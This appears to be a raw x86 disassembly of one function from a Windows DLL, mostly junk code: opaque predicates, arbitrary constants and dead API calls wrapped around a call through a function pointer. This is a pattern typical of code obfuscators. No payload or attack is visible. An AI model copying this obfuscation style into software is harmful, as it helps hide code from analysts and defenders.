jmp 0x1001468c
push 3
lea ecx, [ebp - 0xbd0]
call fcn.1001f1f8
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x264], 0
jmp 0x10014439
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
jge 0x1001445b
push dword [ebp - 0x264]
lea ecx, [ebp - 0xbd0]
call fcn.1001f296
mov dword [eax], 5
jmp 0x1001442c
mov dword [ebp - 0x148], 0
jmp 0x10014474
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jg 0x100144d5
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x100144a1
push 0xde2
push 0x15e8
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
mov dword [ebp - 0x48], 0
jmp 0x100144b1
cmp dword [ebp - 0x48], 0
jl 0x100144d3
mov byte [ebp - 0xfb], 0
movzx eax, byte [ebp - 0xfb]
test eax, eax
je 0x100144d1
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x100144aa
jmp 0x10014467
mov dword [ebp - 0x74c], 0x4ca6
mov dword [ebp - 0x954], 0x10007bf0
cmp dword [ebp - 0x74c], 0x4d2b
jle 0x10014618
push 0
push 0x21af
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
and dword [ebp - 0x234], 0
jmp 0x1001451e
cmp dword [ebp - 0x234], 0x3eec
jge 0x10014618
and dword [ebp - 0x28c], 0
jmp 0x10014544
cmp dword [ebp - 0x28c], 0x2846
jge 0x10014613
push 1
lea ecx, [ebp - 0xbd0]
call fcn.1001f296
mov dword [eax], 0xfffffff9
mov dword [ebp - 0x244], 0xfffffff9
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x74c], 0x4bb6
jge 0x10014651
push dword [ebp - 0x954]
call fcn.10058a1f
pop ecx
jmp 0x1001466d
mov dword [ebp - 4], 0x1b
jmp 0x1001467d
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xbd0]
call fcn.1001f27a
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x60c], 0x3da
jge 0x100146ac
mov dword [ebp - 0xc68], 6
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001650e
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x10016532
push 0x1ee1
push 0
push 0x24f7
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [0x10619d78], 0
je 0x100170b6
push 3
lea ecx, [ebp - 0xd34]
call fcn.1001f1f8
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x9b4], 0x53072226
mov dword [ebp - 0x1c8], 0
jmp 0x10016580
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x100165a2
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0xd34]
call fcn.1001f296
mov dword [eax], 2
jmp 0x10016573
mov dword [ebp - 0x1d0], 2
jmp 0x100165bb
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jl 0x100165d0
mov dword [ebp - 0x9b4], 0x69aed23b
jmp 0x100165ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd34]
call fcn.1001f27a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xa3c], eax
mov dword [ebp - 0x11c], 0xffffffff
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x640], 0xec17e5c2
mov dword [ebp - 0x650], 0xffffffff
mov dword [ebp - 0x2ac], 0xd4a55f07
mov dword [ebp - 0xaa8], 0xffffffff
mov dword [ebp - 0x1d8], 0
jmp 0x10016646
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 2
jge 0x10016662
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0xb2c], 0x4c924b54
jmp 0x10016639
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x11c]
jg 0x100166b8
cmp dword [ebp - 0x1e0], 0
je 0x1001668e
cmp dword [ebp - 0x640], 0
je 0x1001668e
mov dword [ebp - 0x630], 1
jmp 0x10016695
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x630], eax
jg 0x100166b8
cmp dword [ebp - 0x1e0], 0
je 0x100166b8
mov dword [ebp - 0xa34], 1
jmp 0x100166bf
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0xcb4], eax
mov dword [ebp - 0x2ac], 0xffffffff
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0xcc4], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb2c], 0x27d373ee
cmp dword [ebp - 0x1e0], 0
je 0x1001671c
mov eax, 0x311e2db8
test eax, eax
je 0x1001671c
mov dword [ebp - 0x660], 1
jmp 0x10016723
and dword [ebp - 0x660], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x11c]
add ecx, 0x8db8
cmp ecx, dword [ebp + eax - 0xb2c]
je 0x1001674a
mov dword [ebp - 0x638], 1
jmp 0x10016751
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 0x752e
je 0x10016769
mov dword [ebp - 0x9bc], 1
jmp 0x10016770
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0xaa8]
cmp eax, dword [ebp - 0x11c]
jne 0x1001678a
mov dword [ebp - 0x648], 1
jmp 0x10016791
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x640]
cmp dword [ebp - 0x648], eax
jne 0x100167ab
mov dword [ebp - 0x658], 1
jmp 0x100167b2
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x650]
cmp eax, dword [ebp - 0x658]
jge 0x100167cc
mov dword [ebp - 0x668], 1
jmp 0x100167d3
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x660]
sub eax, dword [ebp - 0x668]
cmp eax, dword [ebp - 0x1e0]
jl 0x100167f3
mov dword [ebp - 0x670], 1
jmp 0x100167fa
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 0xcff29c21
jbe 0x10016812
mov dword [ebp - 0x678], 1
jmp 0x10016819
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0xa70], eax
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x9dc], eax
push 2
lea ecx, [ebp - 0x87c]
call fcn.1001f1f8
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x4c], 0x3638ecf5
mov dword [ebp - 0x9cc], 0x4b0b4ef6
mov dword [ebp - 0x2b4], 0x7c295a52
push 3
lea ecx, [ebp - 0xc30]
call fcn.1001f1f8
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x2c], 0
jmp 0x1001688d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100168a9
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x87c]
call fcn.1001f296
mov dword [eax], 0x42eb90da
jmp 0x10016886
mov dword [ebp - 0x2c], 0
jmp 0x100168b9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100168cf
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc9c], 0
jmp 0x100168b2
mov dword [ebp - 0x2c], 0
jmp 0x100168df
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100168fb
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc30]
call fcn.1001f296
mov dword [eax], 0xccce42bf
jmp 0x100168d8
mov dword [ebp - 0x4c], 0
jmp 0x1001690b
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jg 0x10016f48
push 3
lea ecx, [ebp - 0x86c]
call fcn.1001f1f8
mov byte [ebp - 4], 0x32
mov dword [ebp - 0x134], 0x5e08cccd
mov dword [ebp - 0x2bc], 0x22ba7b7e
mov dword [ebp - 0x124], 0x336d065
push 1
lea ecx, [ebp - 0xb04]
call fcn.1001f1f8
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x7c], 0
jmp 0x10016965
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x10016981
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov dword [eax], 0x2263126f
jmp 0x1001695e
mov dword [ebp - 0x7c], 0
jmp 0x10016991
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x100169ad
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xb04]
call fcn.1001f296
mov dword [eax], 0xaed5ebae
jmp 0x1001698a
push 0
lea ecx, [ebp - 0x86c]
call fcn.1001f296
or dword [eax], 0xffffffff
mov dword [ebp - 0x134], 0
jmp 0x100169d6
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jg 0x10016f25
push 3
lea ecx, [ebp - 0x32c]
call fcn.1001f1f8
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x1e8], 0x19cd890f
mov dword [ebp - 0x9d4], 0
push 1
lea ecx, [ebp - 0xbb8]
call fcn.1001f1f8
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x84], 0
jmp 0x10016a32
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x10016a54
push dword [ebp - 0x84]
lea ecx, [ebp - 0x32c]
call fcn.1001f296
mov dword [eax], 9
jmp 0x10016a25
mov dword [ebp - 0x84], 0
jmp 0x10016a6d
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x10016a8f
push dword [ebp - 0x84]
lea ecx, [ebp - 0xbb8]
call fcn.1001f296
mov dword [eax], 0x5ed357dc
jmp 0x10016a60
push 9
pop eax
test eax, eax
je 0x10016c57
mov esi, dword [ebp - 0x4c]
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001f296
cmp esi, dword [eax]
je 0x10016abd
cmp dword [ebp - 0x4c], 0
jne 0x10016abd
and dword [ebp - 0x680], 0
jmp 0x10016ac7
mov dword [ebp - 0x680], 1
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x680]
jle 0x10016aee
mov dword [ebp - 0x688], 1
jmp 0x10016af5
and dword [ebp - 0x688], 0
cmp dword [ebp - 0x688], 0xb137d37
je 0x10016b0d
mov dword [ebp - 0x690], 1
jmp 0x10016b14
and dword [ebp - 0x690], 0
push 1
lea ecx, [ebp - 0x87c]
call fcn.1001f296
mov ecx, dword [ebp - 0x690]
cmp ecx, dword [eax]
jle 0x10016b37
mov dword [ebp - 0x698], 1
jmp 0x10016b3e
and dword [ebp - 0x698], 0
push 0
lea ecx, [ebp - 0x32c]
call fcn.1001f296
mov ecx, dword [ebp - 0x698]
imul ecx, dword [eax]
neg ecx
sub ecx, 0x151ee88f
cmp ecx, 0xfffffff7
jbe 0x10016b6d
mov dword [ebp - 0x6a0], 1
jmp 0x10016b74
and dword [ebp - 0x6a0], 0
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001f296
mov ecx, dword [ebp - 0x6a0]
sub ecx, dword [eax]
mov dword [ebp - 0x9cc], ecx
mov esi, dword [ebp - 0x134]
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001f296
cmp esi, dword [eax]
jne 0x10016bb2
mov dword [ebp - 0x6a8], 1
jmp 0x10016bb9
and dword [ebp - 0x6a8], 0
push 0
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6a8]
je 0x10016bdc
mov dword [ebp - 0xa9c], 1
jmp 0x10016be3
and dword [ebp - 0xa9c], 0
push 1
lea ecx, [ebp - 0x87c]
call fcn.1001f296
mov esi, dword [ebp - 0x1e8]
push 0
lea ecx, [ebp - 0x32c]
call fcn.1001f296
cmp esi, dword [eax]
je 0x10016c13
mov dword [ebp - 0x6b0], 1
jmp 0x10016c1a
and dword [ebp - 0x6b0], 0
cmp dword [ebp - 0x6b0], 0xfffffff8
je 0x10016c2f
mov dword [ebp - 0x36c], 1
jmp 0x10016c36
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jne 0x10016c57
mov dword [ebp - 0x370], 1
jmp 0x10016c5e
and dword [ebp - 0x370], 0
push 2
lea ecx, [ebp - 0x32c]
call fcn.1001f296
mov ecx, dword [ebp - 0x370]
cmp ecx, dword [eax]
jle 0x10016c81
mov dword [ebp - 0x378], 1
jmp 0x10016c88
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x2bc]
dec eax
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
add eax, dword [ebp - 0x378]
cmp eax, 0xfffffff9
jl 0x10016cb2
mov dword [ebp - 0x380], 1
jmp 0x10016cb9
and dword [ebp - 0x380], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x87c]
call fcn.1001f296
mov ecx, dword [ebp - 0x380]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10016cef
push 0
lea ecx, [ebp - 0x87c]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10016cef
and dword [ebp - 0x388], 0
jmp 0x10016cf9
mov dword [ebp - 0x388], 1
mov esi, dword [ebp - 0x388]
add esi, 0x54c3
push 0
lea ecx, [ebp - 0x87c]
call fcn.1001f296
cmp esi, dword [eax]
jle 0x10016d22
mov dword [ebp - 0x390], 1
jmp 0x10016d29
and dword [ebp - 0x390], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x87c]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [ebp - 0x390]
jg 0x10016d4d
mov dword [ebp - 0x398], 1
jmp 0x10016d54
and dword [ebp - 0x398], 0
push 0
lea ecx, [ebp - 0xb04]
call fcn.1001f296
mov ecx, dword [ebp - 0x398]
mov dword [eax], ecx
mov dword [ebp - 0x124], 0
jmp 0x10016d82
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jg 0x10016f02
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0xccc], eax
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001f296
mov dword [eax], 0x2705
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xc9c]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov eax, dword [eax]
add eax, esi
mov ecx, dword [ebp - 0x9d4]
imul ecx, eax
cmp ecx, 6
jg 0x10016df6
push 0
lea ecx, [ebp - 0xb04]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10016df6
and dword [ebp - 0x3a0], 0
jmp 0x10016e00
mov dword [ebp - 0x3a0], 1
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov ecx, dword [ebp - 0x3a0]
cmp ecx, dword [eax]
jg 0x10016e33
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10016e33
and dword [ebp - 0x3a8], 0
jmp 0x10016e3d
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x3a8], eax
jg 0x10016e57
mov dword [ebp - 0xa4c], 1
jmp 0x10016e5e
and dword [ebp - 0xa4c], 0
push 1
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov eax, 0x65e4
cmp eax, 0xb053
je 0x10016e95
push 1
lea ecx, [ebp - 0xc30]
call fcn.1001f296
cmp dword [eax], 0
je 0x10016e95
mov dword [ebp - 0x3b0], 1
jmp 0x10016e9c
and dword [ebp - 0x3b0], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x86c]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3b0]
je 0x10016ec0
mov dword [ebp - 0x3b8], 1
jmp 0x10016ec7
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x3b8], eax
jl 0x10016ee1
mov dword [ebp - 0x3c0], 1
jmp 0x10016ee8
and dword [ebp - 0x3c0], 0
push 0
lea ecx, [ebp - 0xbb8]
call fcn.1001f296
mov ecx, dword [ebp - 0x3c0]
mov dword [eax], ecx
jmp 0x10016d75
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xbb8]
call fcn.1001f27a
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x32c]
call fcn.1001f27a
jmp 0x100169c9
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xb04]
call fcn.1001f27a
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x86c]
call fcn.1001f27a
jmp 0x10016904
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xc30]
call fcn.1001f27a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x87c]
call fcn.1001f27a
push dword [ebp - 0x9dc]
push dword [ebp - 0xa70]
call dword [0x10619d78]
mov dword [ebp - 0xa5c], eax
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x3d0], 0x6f3f17e2
mov dword [ebp - 0x1f0], 0
jmp 0x10016fab
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 3
jge 0x10016fc7
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0xb94], 0x64a6847d
jmp 0x10016f9e
mov dword [ebp - 0xf4], 0
jmp 0x10016fe0
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 2
jg 0x10017089
mov dword [ebp - 0x3d8], 0xc039ecf4
mov dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0xb94]
dec eax
cmp eax, 0xa420
jle 0x10017022
mov dword [ebp - 0x3c8], 1
jmp 0x10017029
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x3d0], eax
mov eax, 0xe53e
sub eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0xb94]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp + eax*4 - 0xb94], ecx
mov eax, dword [ebp - 0x3e0]
inc eax
push 9
pop ecx
sub ecx, eax
mov dword [ebp - 0x9e4], ecx
jmp 0x10016fd3
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x100170ab
push 0x1574
push 0x1070
call dword [sym.imp.USER32.dll_GetWindow]
mov eax, dword [ebp - 0xa5c]
jmp 0x10017406
mov dword [ebp - 0xcd4], 1
mov dword [ebp - 0x3f0], 0xfa5c62e0
push 3
lea ecx, [ebp - 0x338]
call fcn.1001f1f8
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x2c4], 0xc0001115
mov dword [ebp - 0xd5c], 0xfe936be8
mov dword [ebp - 0xa88], 0
mov dword [ebp - 0x1f8], 1
mov dword [ebp - 0x9ec], 0xe2ccf58d
mov dword [ebp - 0x418], 0xfffffff8
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x8c], 0
jmp 0x1001713d
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x1001715f
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov dword [eax], 0x66a756a3
jmp 0x10017130
mov dword [ebp - 0x8c], 0
jmp 0x10017178
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x10017194
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xea4], 0x86335c0
jmp 0x1001716b
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
cmp eax, dword [ebp - 0x3f0]
jle 0x100171bb
mov dword [ebp - 0x450], 1
jmp 0x100171c2
and dword [ebp - 0x450], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov esi, eax
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x100171f0
mov dword [ebp - 0x3e8], 1
jmp 0x100171f7
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x3e8], eax
jne 0x1001721e
mov dword [ebp - 0x400], 1
jmp 0x10017225
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x3f0]
cmp eax, dword [ebp - 0x9ec]
jl 0x1001723f
mov dword [ebp - 0x3f8], 1
jmp 0x10017246
and dword [ebp - 0x3f8], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov ecx, dword [ebp - 0x3f8]
cmp ecx, dword [eax]
jle 0x10017269
mov dword [ebp - 0x408], 1
jmp 0x10017270
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x400]
cmp eax, dword [ebp - 0x408]
jg 0x10017290
cmp dword [ebp - 0x418], 0
jne 0x10017290
and dword [ebp - 0x410], 0
jmp 0x1001729a
mov dword [ebp - 0x410], 1
cmp dword [ebp - 0x410], 0x5493a50e
je 0x100172c1
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
cmp dword [eax], 0
jne 0x100172c1
and dword [ebp - 0x420], 0
jmp 0x100172cb
mov dword [ebp - 0x420], 1
mov eax, dword [ebp - 0x418]
add eax, dword [ebp - 0x420]
je 0x100172ee
cmp dword [ebp - 0x1f8], 0
je 0x100172ee
mov dword [ebp - 0x428], 1
jmp 0x100172f5
and dword [ebp - 0x428], 0
push 1
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov ecx, dword [ebp - 0x428]
cmp ecx, dword [eax]
jg 0x10017318
mov dword [ebp - 0x430], 1
jmp 0x1001731f
and dword [ebp - 0x430], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov ecx, dword [ebp - 0x430]
cmp ecx, dword [eax]
jle 0x10017342
mov dword [ebp - 0x438], 1
jmp 0x10017349
and dword [ebp - 0x438], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov ecx, dword [ebp - 0x438]
cmp ecx, dword [eax]
jne 0x1001736c
mov dword [ebp - 0x440], 1
jmp 0x10017373
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0xb95ae649
jne 0x10017397
mov dword [ebp - 0x458], 1
jmp 0x1001739e
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x450]
cmp eax, dword [ebp - 0x458]
jle 0x100173b8
mov dword [ebp - 0x460], 1
jmp 0x100173bf
and dword [ebp - 0x460], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.1001f296
mov ecx, dword [ebp - 0x460]
cmp ecx, dword [eax]
jge 0x100173e2
mov dword [ebp - 0x468], 1
jmp 0x100173e9
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0xa88], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
call fcn.1001f27a
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret